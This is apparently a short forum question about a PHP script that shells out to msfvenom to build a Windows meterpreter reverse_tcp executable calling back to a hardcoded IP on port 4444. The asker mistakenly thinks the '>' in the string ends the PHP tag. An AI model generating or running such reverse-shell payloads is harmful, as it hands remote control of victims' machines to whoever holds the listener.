I am trying to make a php script that generates a basic meterpreter reverse tcp payload.
<?php
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp
LHOST=46.101.255.58 LPORT=4444 -f exe > payloads/payload.exe');
echo $cmd;
?>
When i want to output the file i need to use the >
symbol. This ends the php tag and doesn't generate the script. Is there any way i can use the >
symbol in php without closing the tag?